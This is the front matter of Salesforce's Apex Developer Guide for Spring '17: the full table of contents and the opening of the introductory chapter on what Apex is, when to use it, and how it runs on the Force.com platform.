Apex Developer Guide Salesforce

User Manual:

Open the PDF directly: View PDF PDF.
Page Count: 2854 [warning: Documents this large are best viewed by clicking the View PDF Link!]

Apex Developer Guide
Version 39.0, Spring ’17
@salesforcedocs
Last updated: April 17, 2017
© Copyright 2000–2017 salesforce.com, inc. All rights reserved. Salesforce is a registered trademark of salesforce.com, inc.,
as are other names and marks. Other marks appearing herein may be trademarks of their respective owners.
CONTENTS
GETTING STARTED .................................................1
Chapter 1: Introducing Apex ............................................1
What is Apex? ........................................................2
When Should I Use Apex? ................................................3
How Does Apex Work? ..................................................4
Developing Code in the Cloud .............................................5
What's New? .........................................................5
Understanding Apex Core Concepts .........................................7
Chapter 2: Apex Development Process ...................................12
What is the Apex Development Process? .....................................13
Create a Developer or Sandbox Org ........................................13
Learning Apex .......................................................14
Writing Apex Using Development Environments .................................15
Writing Tests ........................................................16
Deploying Apex to a Sandbox Organization ...................................17
Deploying Apex to a Salesforce Production Organization ...........................17
Adding Apex Code to a Force.com AppExchange App ............................17
Chapter 3: Apex Quick Start ...........................................19
Writing Your First Apex Class and Trigger .....................................19
Create a Custom Object .............................................19
Adding an Apex Class ..............................................20
Add an Apex Trigger ...............................................21
Add a Test Class ..................................................22
Deploying Components to Production ...................................24
WRITING APEX ...................................................26
Chapter 4: Data Types and Variables ....................................26
Data Types .........................................................27
Primitive Data Types ...................................................27
Collections .........................................................30
Lists ..........................................................30
Sets ..........................................................33
Maps .........................................................33
Parameterized Typing ..............................................35
Enums ............................................................35
Variables ..........................................................37
Constants ..........................................................38
Expressions and Operators ..............................................39
Understanding Expressions ..........................................39
Understanding Expression Operators ...................................40
Understanding Operator Precedence ....................................45
Using Comments .................................................46
Assignment Statements ................................................46
Understanding Rules of Conversion ........................................47
Chapter 5: Control Flow Statements .....................................49
Conditional (If-Else) Statements ............................................50
Loops .............................................................50
Do-While Loops ...................................................51
While Loops .....................................................51
For Loops .......................................................51
Chapter 6: Classes, Objects, and Interfaces ...............................54
Understanding Classes .................................................54
Apex Class Definition ...............................................55
Class Variables ..................................................56
Class Methods ...................................................57
Using Constructors ................................................59
Access Modifiers ..................................................61
Static and Instance Methods, Variables, and Initialization Code ...................61
Apex Properties ..................................................65
Extending a Class .................................................68
Extended Class Example ............................................69
Understanding Interfaces ...............................................73
Custom Iterators ..................................................74
Keywords ..........................................................76
Using the final Keyword .............................................77
Using the instanceof Keyword .........................................77
Using the super Keyword ............................................77
Using the this Keyword .............................................78
Using the transient Keyword ..........................................79
Using the with sharing or without sharing Keywords .........................80
Annotations .........................................................81
AuraEnabled Annotation ............................................82
Deprecated Annotation .............................................82
Future Annotation .................................................83
InvocableMethod Annotation .........................................84
InvocableVariable Annotation .........................................85
IsTest Annotation .................................................88
ReadOnly Annotation ...............................................91
Contents
RemoteAction Annotation ............................................92
TestSetup Annotation ...............................................92
TestVisible Annotation ..............................................93
Apex REST Annotations .............................................94
Classes and Casting ...................................................95
Classes and Collections .............................................97
Collection Casting .................................................98
Differences Between Apex Classes and Java Classes ............................98
Class Definition Creation ................................................99
Naming Conventions ..............................................100
Name Shadowing ................................................101
Namespace Prefix ....................................................101
Using the System Namespace ........................................102
Using the Schema Namespace .......................................103
Namespace, Class, and Variable Name Precedence ........................104
Type Resolution and System Namespace for Types ..........................105
Apex Code Versions ..................................................105
Setting the Salesforce API Version for Classes and Triggers .....................106
Setting Package Versions for Apex Classes and Triggers ......................107
Lists of Custom Types and Sorting .........................................107
Using Custom Types in Map Keys and Sets ...................................107
Chapter 7: Working with Data in Apex ....................................111
sObject Types .......................................................112
Accessing sObject Fields ............................................113
Validating sObjects and Fields ........................................114
Adding and Retrieving Data .............................................114
DML .............................................................115
DML Statements vs. Database Class Methods ..............................115
DML Operations As Atomic Transactions .................................117
How DML Works .................................................117
DML Operations ..................................................118
DML Exceptions and Error Handling ....................................130
More About DML .................................................131
Locking Records .................................................143
SOQL and SOSL Queries ................................................144
Working with SOQL and SOSL Query Results ...............................145
Accessing sObject Fields Through Relationships ............................146
Understanding Foreign Key and Parent-Child Relationship SOQL Queries ...........147
Working with SOQL Aggregate Functions .................................148
Working with Very Large SOQL Queries ..................................148
Using SOQL Queries That Return One Record ..............................151
Improving Performance by Not Searching on Null Values ......................151
Working with Polymorphic Relationships in SOQL Queries ......................152
Contents
Using Apex Variables in SOQL and SOSL Queries ...........................153
Querying All Records with a SOQL Statement ..............................155
SOQL For Loops .....................................................155
sObject Collections ...................................................157
Lists of sObjects ..................................................157
Sorting Lists of sObjects ............................................159
Expanding sObject and List Expressions .................................162
Sets of Objects ..................................................163
Maps of sObjects ................................................163
Dynamic Apex ......................................................165
Understanding Apex Describe Information ...............................166
Using Field Tokens ................................................168
Understanding Describe Information Permissions ...........................169
Describing sObjects Using Schema Method ...............................170
Describing Tabs Using Schema Methods .................................170
Accessing All sObjects .............................................172
Accessing All Data Categories Associated with an sObject .....................172
Dynamic SOQL ..................................................177
Dynamic SOSL ...................................................178
Dynamic DML ...................................................180
Apex Security and Sharing ..............................................182
Enforcing Sharing Rules ............................................182
Enforcing Object and Field Permissions ..................................184
Class Security ...................................................185
Understanding Apex Managed Sharing .................................186
Security Tips for Apex and Visualforce Development .........................199
Custom Settings .....................................................206
WAYS TO INVOKE APEX ..........................................208
Chapter 8: Invoking Apex ............................................208
Anonymous Blocks ...................................................209
Triggers ..........................................................210
Bulk Triggers ....................................................211
Trigger Syntax ...................................................212
Trigger Context Variables ...........................................212
Context Variable Considerations ......................................214
Common Bulk Trigger Idioms ........................................215
Defining Triggers .................................................217
Triggers and Merge Statements .......................................218
Triggers and Recovered Records ......................................219
Triggers and Order of Execution .......................................219
Operations That Don't Invoke Triggers ...................................221
Entity and Field Considerations in Triggers ................................222
Contents
Triggers for Chatter Objects .........................................224
Trigger Exceptions ................................................226
Trigger and Bulk Request Best Practices .................................226
Asynchronous Apex ..................................................227
Future Methods .................................................228
Future Methods with Higher Limits (Pilot) .................................231
Queueable Apex ................................................232
Apex Scheduler .................................................234
Batch Apex .....................................................241
Web Services .......................................................254
Exposing Apex Methods as SOAP Web Services ............................254
Exposing Apex Classes as REST Web Services .............................257
Apex Email Service ...................................................266
Using the InboundEmail Object .......................................267
Visualforce Classes ..................................................269
Invoking Apex Using JavaScript ..........................................269
JavaScript Remoting ..............................................269
Apex in AJAX ...................................................270
Chapter 9: Apex Transactions and Governor Limits .........................272
Apex Transactions ...................................................273
Execution Governors and Limits ..........................................274
Set Up Governor Limit Email Warnings ......................................281
Running Apex within Governor Execution Limits ................................282
Chapter 10: Using Salesforce Features with Apex ..........................285
Actions ...........................................................286
Approval Processing .................................................286
Apex Approval Processing Example ....................................287
Authentication ......................................................288
Create a Custom Authentication Provider Plug-in ...........................288
Chatter Answers and Ideas .............................................294
Chatter in Apex .....................................................294
Chatter in Apex Examples ..........................................295
Chatter in Apex Features ...........................................323
Using ConnectApi Input and Output Classes ..............................355
Understanding Limits for ConnectApi Classes .............................356
Serializing and Deserializing ConnectApi Objects ...........................356
ConnectApi Versioning and Equality Checking .............................356
Casting ConnectApi Objects .........................................357
Wildcards .....................................................357
Testing ConnectApi Code ...........................................358
Differences Between ConnectApi Classes and Other Apex Classes ...............359
Moderate Chatter Private Messages with Triggers ..............................360
Contents
Moderate Feed Items with Triggers ........................................363
Communities .......................................................363
Email ............................................................364
Inbound Email ..................................................364
Outbound Email .................................................364
Platform Cache .....................................................366
Platform Cache Features ...........................................367
Platform Cache Considerations .......................................368
Platform Cache Limits .............................................369
Platform Cache Partitions ...........................................370
Platform Cache Internals ............................................371
Store and Retrieve Values from the Session Cache ..........................372
Use a Visualforce Global Variable for the Session Cache ......................373
Store and Retrieve Values from the Org Cache .............................374
Platform Cache Best Practices ........................................375
Salesforce Knowledge ................................................378
Knowledge Management ..........................................379
Promoted Search Terms ............................................379
Suggest Salesforce Knowledge Articles .................................380
Salesforce Connect ...................................................383
Salesforce Connect ...............................................384
Writable External Objects ...........................................387
Get Started with the Apex Connector Framework ...........................387
Key Concepts About the Apex Connector Framework ........................394
Considerations for the Apex Connector Framework .........................403
Apex Connector Framework Examples ..................................403
Salesforce Reports and Dashboards API via Apex ..............................421
Requirements and Limitations ........................................422
Run Reports ....................................................422
List Asynchronous Runs of a Report ....................................423
Get Report Metadata ..............................................424
Get Report Data .................................................424
Filter Reports ...................................................425
Decode the Fact Map .............................................426
Test Reports ....................................................429
Force.com Sites .....................................................431
Rewriting URLs for Force.com Sites .....................................431
Support Classes .....................................................438
Territory Management 2.0 ..............................................439
Visual Workflow .....................................................441
Getting Flow Variables .............................................441
Passing Data to a Flow Using the Process.Plugin Interface .....................442
Chapter 11: Integration and Apex Utilities ................................456
Contents
Invoking Callouts Using Apex ............................................457
Adding Remote Site Settings .........................................457
Named Credentials as Callout Endpoints ................................457
SOAP Services: Defining a Class from a WSDL Document ......................461
Invoking HTTP Callouts .............................................474
Using Certificates ................................................482
Callout Limits and Limitations ........................................484
Make Long-Running Callouts from a Visualforce Page .......................485
JSON Support ......................................................498
Roundtrip Serialization and Deserialization ...............................500
JSON Generator .................................................502
JSON Parsing ...................................................503
XML Support .......................................................506
Reading and Writing XML Using Streams ................................506
Reading and Writing XML Using the DOM ................................510
Securing Your Data ..................................................513
Encoding Your Data ..................................................516
Using Patterns and Matchers ............................................516
Using Regions ..................................................518
Using Match Operations ............................................518
Using Bounds ...................................................518
Understanding Capturing Groups .....................................519
Pattern and Matcher Example ........................................519
FINISHING TOUCHES ............................................522
Chapter 12: Debugging Apex .........................................522
Debug Log ........................................................523
Working with Logs in the Developer Console ..............................527
Debugging Apex API Calls ..........................................541
Debug Log Order of Precedence ......................................542
Exceptions in Apex ...................................................543
Exception Statements .............................................544
Exception Handling Example ........................................546
Built-In Exceptions and Common Methods ...............................548
Catching Different Exception Types .....................................552
Create Custom Exceptions ..........................................553
Chapter 13: Testing Apex ............................................556
Understanding Testing in Apex ..........................................557
What to Test in Apex ..................................................557
What are Apex Unit Tests? ..............................................558
Accessing Private Test Class Members ..................................561
Understanding Test Data ..............................................563
Contents
Isolation of Test Data from Organization Data in Unit Tests .....................563
Using the isTest(SeeAllData=true) Annotation ..............................564
Loading Test Data ................................................565
Common Test Utility Classes for Test Data Creation ..........................567
Using Test Setup Methods ..........................................568
Run Unit Test Methods ................................................569
Using the runAs Method ...........................................573
Using Limits, startTest, and stopTest ....................................575
Adding SOSL Queries to Unit Tests .....................................575
Testing Best Practices .................................................576
Testing Example .....................................................577
Testing and Code Coverage ............................................582
Code Coverage Best Practices ...........................................585
Build a Mocking Framework with the Stub API .................................586
Chapter 14: Deploying Apex ..........................................591
Using Change Sets To Deploy Apex .......................................592
Using the Force.com IDE to Deploy Apex ....................................592
Using the Force.com Migration Tool .......................................592
Understanding deploy .............................................594
Understanding retrieve ............................................595
Using SOAP API to Deploy Apex ..........................................597
Chapter 15: Distributing Apex Using Managed Packages ....................598
What is a Package? ..................................................599
Package Versions ...................................................599
Deprecating Apex ...................................................600
Behavior in Package Versions ...........................................600
Versioning Apex Code Behavior ......................................600
Apex Code Items that Are Not Versioned .................................601
Testing Behavior in Package Versions ..................................602
Chapter 16: Reference ..............................................604
Apex DML Operations .................................................606
Apex DML Statements .............................................606
ApexPages Namespace ...............................................610
Action Class ....................................................611
Component Class ................................................613
IdeaStandardController Class ........................................615
IdeaStandardSetController Class ......................................617
KnowledgeArticleVersionStandardController Class ..........................620
Message Class .................................................624
StandardController Class ...........................................628
StandardSetController Class .........................................633
Contents
AppLauncher Namespace ..............................................642
AppMenu Class .................................................642
Approval Namespace .................................................644
LockResult Class .................................................645
ProcessRequest Class .............................................647
ProcessResult Class ..............................................649
ProcessSubmitRequest Class .........................................651
ProcessWorkitemRequest Class .......................................655
UnlockResult Class ...............................................657
Auth Namespace ....................................................659
AuthConfiguration Class ............................................661
AuthProviderCallbackState Class ......................................668
AuthProviderPlugin Interface .........................................670
AuthProviderPluginClass Class .......................................674
AuthProviderTokenResponse Class ....................................683
AuthToken Class .................................................686
CommunitiesUtil Class .............................................690
ConnectedAppPlugin Class .........................................692
InvocationContext Enum ............................................698
JWS Class .....................................................699
JWT Class .....................................................702
JWTBearerTokenExchange Class ......................................707
OAuthRefreshResult Class ...........................................712
RegistrationHandler Interface ........................................715
SamlJitHandler Interface ...........................................720
SessionManagement Class .........................................724
SessionLevel Enum ...............................................732
UserData Class .................................................733
VerificationPolicy Enum ............................................738
Auth Exceptions .................................................738
Cache Namespace ..................................................740
Org Class .....................................................740
OrgPartition Class ................................................753
Partition Class ..................................................756
Session Class ...................................................767
SessionPartition Class .............................................779
Cache Exceptions ................................................782
Visibility Enum ..................................................783
Canvas Namespace ..................................................783
ApplicationContext Interface .........................................784
CanvasLifecycleHandler Interface .....................................787
ContextTypeEnum Enum ...........................................789
EnvironmentContext Interface ........................................790
RenderContext Interface ............................................796
Contents
Test Class .....................................................798
Canvas Exceptions ................................................801
ChatterAnswers Namespace ............................................802
AccountCreator Interface ...........................................802
ConnectApi Namespace ...............................................804
ActionLinks Class ................................................806
Announcements Class .............................................815
Chatter Class ...................................................820
ChatterFavorites Class .............................................826
ChatterFeeds Class ...............................................846
ChatterGroups Class ..............................................1130
ChatterMessages Class ............................................1174
ChatterUsers Class ...............................................1198
Communities Class ..............................................1228
CommunityModeration Class .......................................1230
ContentHub Class ...............................................1254
Datacloud Class ................................................1289
EmailMergeFieldService Class .......................................1294
ExternalEmailServices Class .........................................1295
Knowledge Class ...............................................1296
ManagedTopics Class ............................................1300
Mentions Class .................................................1313
Organization Class ...............................................1319
QuestionAndAnswers Class ........................................1320
Recommendations Class ..........................................1323
Records Class ..................................................1384
SalesforceInbox Class .............................................1387
Topics Class ...................................................1388
UserProfiles Class ...............................................1422
Zones Class ...................................................1432
ConnectApi Input Classes ..........................................1442
ConnectApi Output Classes .........................................1483
ConnectApi Enums ...............................................1631
ConnectApi Exceptions ............................................1649
Database Namespace ...............................................1649
Batchable Interface ..............................................1650
BatchableContext Interface .........................................1652
DeletedRecord Class .............................................1653
DeleteResult Class ...............................................1654
DMLOptions Class ...............................................1656
DmlOptions.AssignmentRuleHeader Class ..............................1659
DMLOptions.DuplicateRuleHeader Class ................................1661
DmlOptions.EmailHeader Class ......................................1663
DuplicateError Class ..............................................1665
Contents
EmptyRecycleBinResult Class ........................................1667
Error Class ....................................................1669
GetDeletedResult Class ............................................1670
GetUpdatedResult Class ...........................................1672
LeadConvert Class ...............................................1673
LeadConvertResult Class ...........................................1681
MergeResult Class ...............................................1683
QueryLocator Class ..............................................1685
QueryLocatorIterator Class .........................................1686
SaveResult Class ................................................1687
UndeleteResult Class .............................................1690
UpsertResult Class ...............................................1691
Datacloud Namespace ...............................................1693
AdditionalInformationMap Class .....................................1693
DuplicateResult Class .............................................1694
FieldDiff Class ..................................................1699
MatchRecord Class ..............................................1700
MatchResult Class ...............................................1702
DataSource Namespace ..............................................1704
AsyncDeleteCallback Class .........................................1707
AsyncSaveCallback Class ..........................................1708
AuthenticationCapability Enum ......................................1708
AuthenticationProtocol Enum ........................................1709
Capability Enum ................................................1709
Column Class ...................................................1711
ColumnSelection Class ............................................1726
Connection Class ................................................1728
ConnectionParams Class ..........................................1733
DataSourceUtil Class .............................................1737
DataType Enum .................................................1738
DeleteContext Class ..............................................1739
DeleteResult Class ...............................................1740
Filter Class ....................................................1743
FilterType Enum .................................................1745
IdentityType Enum ...............................................1746
Order Class ...................................................1746
OrderDirection Enum .............................................1748
Provider Class ..................................................1749
QueryAggregation Enum ..........................................1750
QueryContext Class ..............................................1751
QueryUtils Class ................................................1753
ReadContext Class ...............................................1756
SearchContext Class ..............................................1757
SearchUtils Class ................................................1759
Contents
Table Class ....................................................1760
TableResult Class ................................................1764
TableSelection Class ..............................................1769
UpsertContext Class ..............................................1771
UpsertResult Class ...............................................1772
DataSource Exceptions ............................................1775
Dom Namespace ...................................................1776
Document Class ................................................1776
XmlNode Class .................................................1779
Flow Namespace ...................................................1789
Interview Class .................................................1789
KbManagement Namespace ...........................................1792
PublishingService Class ...........................................1792
Messaging Namespace ..............................................1803
Email Class (Base Email Methods) ....................................1804
EmailFileAttachment Class .........................................1808
InboundEmail Class ..............................................1810
InboundEmail.BinaryAttachment Class ..................................1816
InboundEmail.TextAttachment Class ...................................1818
InboundEmailResult Class ..........................................1821
InboundEnvelope Class ...........................................1822
MassEmailMessage Class .........................................1823
InboundEmail.Header Class ........................................1825
PushNotification Class ............................................1826
PushNotificationPayload Class .......................................1829
RenderEmailTemplateBodyResult Class .................................1832
RenderEmailTemplateError Class .....................................1833
SendEmailError Class .............................................1835
SendEmailResult Class ............................................1836
SingleEmailMessage Methods .......................................1837
Process Namespace .................................................1849
Plugin Interface .................................................1849
PluginDescribeResult Class .........................................1851
PluginDescribeResult.InputParameter Class ..............................1854
PluginDescribeResult.OutputParameter Class .............................1857
PluginRequest Class ..............................................1860
PluginResult Class ...............................................1861
QuickAction Namespace ..............................................1862
DescribeAvailableQuickActionResult Class ...............................1863
DescribeLayoutComponent Class .....................................1864
DescribeLayoutItem Class ..........................................1866
DescribeLayoutRow Class ..........................................1867
DescribeLayoutSection Class ........................................1869
DescribeQuickActionDefaultValue Class ................................1872
Contents
DescribeQuickActionResult Class .....................................1873
QuickActionDefaults Class ..........................................1888
QuickActionDefaultsHandler Interface ..................................1889
QuickActionRequest Class ..........................................1892
QuickActionResult Class ...........................................1896
SendEmailQuickActionDefaults Class ..................................1898
Reports Namespace .................................................1900
AggregateColumn Class ...........................................1903
BucketField Class ................................................1905
BucketFieldValue Class ............................................1912
BucketType Enum ................................................1916
ColumnDataType Enum ............................................1916
ColumnSortOrder Enum ............................................1917
CrossFilter Class .................................................1917
CsfGroupType Enum .............................................1923
DateGranularity Enum ............................................1923
DetailColumn Class ..............................................1924
Dimension Class ................................................1925
EvaluatedCondition Class ..........................................1925
EvaluatedConditionOperator Enum ....................................1929
FilterOperator Class ..............................................1930
FilterValue Class .................................................1931
FormulaType Enum ..............................................1932
GroupingColumn Class ...........................................1932
GroupingInfo Class ..............................................1933
GroupingValue Class .............................................1935
NotificationAction Interface .........................................1937
NotificationActionContext Class ......................................1938
ReportCsf Class .................................................1940
ReportCurrency Class .............................................1949
ReportDataCell Class .............................................1950
ReportDescribeResult Class .........................................1951
ReportDetailRow Class ............................................1952
ReportDivisionInfo Class ...........................................1952
ReportExtendedMetadata Class ......................................1953
ReportFact Class ................................................1955
ReportFactWithDetails Class ........................................1956
ReportFactWithSummaries Class .....................................1957
ReportFilter Class ................................................1958
ReportFormat Enum ..............................................1962
ReportInstance Class .............................................1962
ReportManager Class ............................................1965
ReportMetadata Class ............................................1970
ReportResults Class ..............................................1989
Contents
ReportScopeInfo Class ............................................1992
ReportScopeValue Class ...........................................1993
ReportType Class ................................................1994
ReportTypeColumn Class ..........................................1995
ReportTypeColumnCategory Class ....................................1997
ReportTypeMetadata Class .........................................1999
SortColumn Class ...............................................2000
StandardDateFilter Class ..........................................2002
StandardDateFilterDuration Class ....................................2005
StandardDateFilterDurationGroup Class ................................2007
StandardFilter Class ..............................................2008
StandardFilterInfo Class ...........................................2010
StandardFilterInfoPicklist Class .......................................2011
StandardFilterType Enum ..........................................2012
SummaryValue Class .............................................2013
ThresholdInformation Class .........................................2014
TopRows Class .................................................2015
Reports Exceptions ...............................................2018
Schema Namespace .................................................2019
ChildRelationship Class ...........................................2020
DataCategory Class .............................................2022
DataCategoryGroupSobjectTypePair Class ..............................2023
DescribeColorResult Class .........................................2026
DescribeDataCategoryGroupResult Class ...............................2027
DescribeDataCategoryGroupStructureResult Class .........................2030
DescribeFieldResult Class ..........................................2032
DescribeIconResult Class ..........................................2047
DescribeSObjectResult Class ........................................2050
DescribeTabResult Class ..........................................2059
DescribeTabSetResult Class ........................................2062
DisplayType Enum ...............................................2065
FieldSet Class ..................................................2066
FieldSetMember Class ............................................2070
PicklistEntry Class ...............................................2072
RecordTypeInfo Class ............................................2074
SOAPType Enum ................................................2076
SObjectField Class ...............................................2077
SObjectType Class ...............................................2078
Search Namespace .................................................2080
KnowledgeSuggestionFilter Class .....................................2081
QuestionSuggestionFilter Class ......................................2086
SearchResult Class ..............................................2089
SearchResults Class ..............................................2091
SuggestionOption Class ...........................................2092
Contents
SuggestionResult Class ...........................................2094
SuggestionResults Class ...........................................2094
Site Namespace ...................................................2095
UrlRewriter Interface .............................................2096
Site Exceptions .................................................2097
Support Namespace .................................................2098
EmailTemplateSelector Interface .....................................2098
MilestoneTriggerTimeCalculator Interface ...............................2100
System Namespace .................................................2102
Address Class ..................................................2107
Answers Class ..................................................2112
ApexPages Class ................................................2114
Approval Class .................................................2116
Blob Class ....................................................2128
Boolean Class ..................................................2130
BusinessHours Class .............................................2132
Cases Class ...................................................2136
Comparable Interface ............................................2136
Continuation Class ...............................................2139
Cookie Class ...................................................2143
Crypto Class ...................................................2147
Custom Settings Methods ..........................................2159
Database Class .................................................2170
Date Class ....................................................2211
Datetime Class .................................................2222
Decimal Class .................................................2245
Double Class ..................................................2258
EncodingUtil Class ..............................................2262
Enum Methods .................................................2266
Exception Class and Built-In Exceptions ................................2266
FlexQueue Class ................................................2269
Http Class ....................................................2272
HttpCalloutMock Interface .........................................2273
HttpRequest Class ...............................................2274
HttpResponse Class .............................................2284
Id Class ......................................................2290
Ideas Class ...................................................2296
InstallHandler Interface ............................................2301
Integer Class ..................................................2304
JSON Class ...................................................2306
JSONGenerator Class .............................................2312
JSONParser Class ...............................................2326
JSONToken Enum ...............................................2339
Limits Class ...................................................2339
Contents
List Class .....................................................2352
Location Class .................................................2365
Long Class ....................................................2368
Map Class ....................................................2370
Matcher Class .................................................2382
Math Class ...................................................2394
Messaging Class ...............................................2420
MultiStaticResourceCalloutMock Class .................................2425
Network Class .................................................2427
PageReference Class .............................................2432
Pattern Class ..................................................2441
Queueable Interface .............................................2445
QueueableContext Interface ........................................2447
QuickAction Class ...............................................2448
RemoteObjectController ...........................................2452
ResetPasswordResult Class ........................................2455
RestContext Class ...............................................2456
RestRequest Class ...............................................2457
RestResponse Class .............................................2463
SandboxPostCopy Interface ........................................2467
Schedulable Interface ............................................2468
SchedulableContext Interface .......................................2469
Schema Class .................................................2470
Search Class ..................................................2474
SelectOption Class ...............................................2477
Set Class .....................................................2483
Site Class .....................................................2494
sObject Class ..................................................2514
StaticResourceCalloutMock Class ....................................2533
String Class ...................................................2535
StubProvider Interface ............................................2609
System Class ...................................................2611
Test Class ....................................................2632
Time Class ....................................................2645
TimeZone Class ................................................2650
Trigger Class ..................................................2653
Type Class ....................................................2656
UninstallHandler Interface ..........................................2661
URL Class ....................................................2664
UserInfo Class .................................................2672
Version Class ..................................................2680
WebServiceCallout Class ..........................................2684
WebServiceMock Interface .........................................2685
XmlStreamReader Class ..........................................2687
Contents
XmlStreamWriter Class ............................................2701
TerritoryMgmt Namespace ............................................2708
OpportunityTerritory2AssignmentFilter Global Interface ......................2708
TxnSecurity Namespace ...............................................2711
Event Class ....................................................2712
PolicyCondition Interface ...........................................2716
UserProvisioning Namespace ..........................................2722
ConnectorTestUtil Class ...........................................2722
UserProvisioningLog Class .........................................2724
UserProvisioningPlugin Class .......................................2726
VisualEditor Namespace ..............................................2731
DataRow Class .................................................2731
DynamicPickList Class ............................................2734
DynamicPickListRows Class .........................................2737
APPENDICES ...................................................2743
Appendix A: SOAP API and SOAP Headers for Apex ................2743
ApexTestQueueItem .................................................2743
ApexTestResult ....................................................2745
ApexTestResultLimits .................................................2748
ApexTestRunResult ..................................................2751
compileAndTest() ...................................................2754
CompileAndTestRequest ..........................................2755
CompileAndTestResult ............................................2756
compileClasses() ...................................................2758
compileTriggers() ...................................................2759
executeanonymous() ................................................2760
ExecuteAnonymousResult .........................................2760
runTests() .........................................................2761
RunTestsRequest ................................................2763
RunTestsResult .................................................2763
DebuggingHeader ..................................................2767
PackageVersionHeader ..............................................2768
Appendix B: Shipping Invoice Example ............................2770
Shipping Invoice Example Walk-Through ...................................2770
Shipping Invoice Example Code .........................................2773
Appendix C: Reserved Keywords .................................2782
Appendix D: Action Links Labels ..................................2784
Appendix E: Documentation Typographical Conventions ............2790
Contents
GLOSSARY .....................................................2792
INDEX .........................................................2809
Contents
GETTING STARTED
CHAPTER 1 Introducing Apex
Salesforce has changed the way organizations do business by moving enterprise applications that were
traditionally client-server-based into an on-demand, multitenant Web environment, the Force.com
In this chapter ...
•What is Apex? platform. This environment allows organizations to run and customize applications, such as Salesforce
•When Should I Use
Apex?
Automation and Service & Support, and build new custom applications based on particular business
needs.
•How Does Apex
Work? While many customization options are available through the Salesforce user interface, such as the ability
to define new fields, objects, workflow, and approval processes, developers can also use the SOAP API
•Developing Code in
the Cloud
to issue data manipulation commands such as delete(), update() or upsert(), from client-side
programs.
•What's New? These client-side programs, typically written in Java, JavaScript, .NET, or other programming languages
grant organizations more flexibility in their customizations. However, because the controlling logic for
these client-side programs is not located on Force.com platform servers, they are restricted by:
•Understanding Apex
Core Concepts
•The performance costs of making multiple round-trips to the Salesforce site to accomplish common
business transactions
•The cost and complexity of hosting server code, such as Java or .NET, in a secure and robust
environment
To address these issues, and to revolutionize the way that developers create on-demand applications,
Salesforce introduces Force.com Apex code, the first multitenant, on-demand programming language
for developers interested in building the next generation of business applications.
•What is Apex?—more about when to use Apex, the development process, and some limitations
•What's new in this Apex release?
•Apex Quick Start—delve straight into the code and write your first Apex class and trigger
1
What is Apex?
EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions
User Permissions Needed
“Author Apex”To define, edit, delete, set security, set version settings, show
dependencies, and run tests for Apex classes:
“Author Apex”To define, edit, delete, set version settings, and show dependencies for
Apex triggers:
Apex is a strongly typed, object-oriented programming language that allows developers to execute
flow and transaction control statements on the Force.com platform server in conjunction with calls
to the Force.com API. Using syntax that looks like Java and acts like database stored procedures,
Apex enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce
pages. Apex code can be initiated by Web service requests and from triggers on objects.
You can add Apex to most system events.
As a language, Apex is:
Integrated
Apex provides built-in support for common Force.com platform idioms, including:
2
What is Apex?Introducing Apex
•Data manipulation language (DML) calls, such as INSERT, UPDATE, and DELETE, that include built-in DmlException
handling
•Inline Salesforce Object Query Language (SOQL) and Salesforce Object Search Language (SOSL) queries that return lists of sObject
records
•Looping that allows for bulk processing of multiple records at a time
•Locking syntax that prevents record update conflicts
•Custom public Force.com API calls that can be built from stored Apex methods
•Warnings and errors issued when a user tries to edit or delete a custom object or field that is referenced by Apex
Easy to use
Apex is based on familiar Java idioms, such as variable and expression syntax, block and conditional statement syntax, loop syntax,
object and array notation, and so on. Where Apex introduces new elements, it uses syntax and semantics that are easy to understand
and encourage efficient use of the Force.com platform. Consequently, Apex produces code that is both succinct and easy to write.
Data focused
Apex is designed to thread together multiple query and DML statements into a single unit of work on the Force.com platform server,
much as developers use database stored procedures to thread together multiple transaction statements on a database server. Note
that like other database stored procedures, Apex does not attempt to provide general support for rendering elements in the user
interface.
Rigorous
Apex is a strongly-typed language that uses direct references to schema objects such as object and field names. It fails quickly at
compile time if any references are invalid, and stores all custom field, object, and class dependencies in metadata to ensure they are
not deleted while required by active Apex code.
Hosted
Apex is interpreted, executed, and controlled entirely by the Force.com platform.
Multitenant aware
Like the rest of the Force.com platform, Apex runs in a multitenant environment. Consequently, the Apex runtime engine is designed
to guard closely against runaway code, preventing it from monopolizing shared resources. Any code that violates limits fails with
easy-to-understand error messages.
Automatically upgradeable
Apex never needs to be rewritten when other parts of the Force.com platform are upgraded. Because compiled code is stored as
metadata in the platform, Apex is upgraded as part of Salesforce releases.
Easy to test
Apex provides built-in support for unit test creation and execution, including test results that indicate how much code is covered,
and which parts of your code could be more efficient. Salesforce ensures that all custom Apex code works as expected by executing
all unit tests prior to any platform upgrades.
Versioned
You can save your Apex code against different versions of the Force.com API. This enables you to maintain behavior.
Apex is included in Performance Edition, Unlimited Edition, Developer Edition, Enterprise Edition, and Database.com.
When Should I Use Apex?
The Salesforce prebuilt applications provide powerful CRM functionality. In addition, Salesforce provides the ability to customize the
prebuilt applications to fit your organization. However, your organization may have complex business processes that are unsupported
by the existing functionality. When this is the case, the Force.com platform includes a number of ways for advanced administrators and
developers to implement custom functionality. These include Apex, Visualforce, and the SOAP API.
3
When Should I Use Apex?Introducing Apex
Apex
Use Apex if you want to:
•Create Web services.
•Create email services.
•Perform complex validation over multiple objects.
•Create complex business processes that are not supported by workflow.
•Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object).
•Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed, regardless
of whether it originates in the user interface, a Visualforce page, or from SOAP API.
Visualforce
Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing
the Salesforce user interface. With Visualforce you can:
•Build wizards and other multistep processes.
•Create your own custom flow control through an application.
•Define navigation patterns and data-specific rules for optimal, efficient application interaction.
For more information, see the Visualforce Developer's Guide.
SOAP API
Use standard SOAP API calls if you want to add functionality to a composite application that processes only one type of record at a time
and does not require any transactional control (such as setting a Savepoint or rolling back changes).
For more information, see the SOAP API Developer's Guide.
How Does Apex Work?
All Apex runs entirely on-demand on the Force.com platform, as shown in the following architecture diagram:
Apex is compiled, stored, and runs entirely on the Force.com platform
When a developer writes and saves Apex code to the platform, the platform application server first compiles the code into an abstract
set of instructions that can be understood by the Apex runtime interpreter, and then saves those instructions as metadata.
4
How Does Apex Work?Introducing Apex
When an end-user triggers the execution of Apex, perhaps by clicking a button or accessing a Visualforce page, the platform application
server retrieves the compiled instructions from the metadata and sends them through the runtime interpreter before returning the
result. The end-user observes no differences in execution time from standard platform requests.
Developing Code in the Cloud
